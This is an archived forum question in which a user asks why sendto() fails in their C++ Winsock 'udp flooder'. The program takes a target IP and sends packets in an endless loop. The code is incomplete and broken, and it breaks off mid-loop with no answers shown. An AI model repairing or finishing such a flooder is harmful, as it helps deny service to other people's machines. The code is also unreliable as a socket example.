Issue with sendto() in socket programming

I have been working on a udp flooder program and I have reached the point where I need to call sendto(). When I run the program the function returns an error, I dont know what to do.

here is my code:

#include "stdafx.h"
#include <sys/types.h>
#include <winsock2.h>
#include <iostream>
#include <string>
#include <string.h>
#include <istream>
#include <Windows.h>

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
int OutSocket;
OutSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // define a socket and get its address
cout << "Please enter the IP address of the target: ";

sockaddr_in ForeignAddress; // define an address structure
cin >> ForeignAddress.sin_addr.S_un.S_addr; // get the ip address from the user

//cout << "Please enter the port you want to attack: ";
//cin >> ForeignAddress.sin_port; // get the port from the user

ForeignAddress.sin_port = htons(1025);
ForeignAddress.sin_family = AF_INET; //set the family (this value is almost always the same)

sockaddr *AddressPointer; // define a pointer to the address struct
AddressPointer = (sockaddr*)&ForeignAddress; // cast the sockaddr_in as a sockaddr pointer (this is necessary to please the sento function)

int iteration = 0;
char * BufferPTR = new char [5]; // buffer to send

BufferPTR = "hello";

int size;
size = sizeof(ForeignAddress); // the size parameter in sendto needs to be the size of the entire address structure, not the pointer

signed int error;

while (true) {
error = sendto(OutSocket, BufferPTR, 5, 1, AddressPointer, size); // the last parameter is always 4 for an ipv4 address
iteration ++;
if (error == -1) {

cout << "There was an error, ERROR CODE " << error << "\n";
Topic archived. No new replies allowed.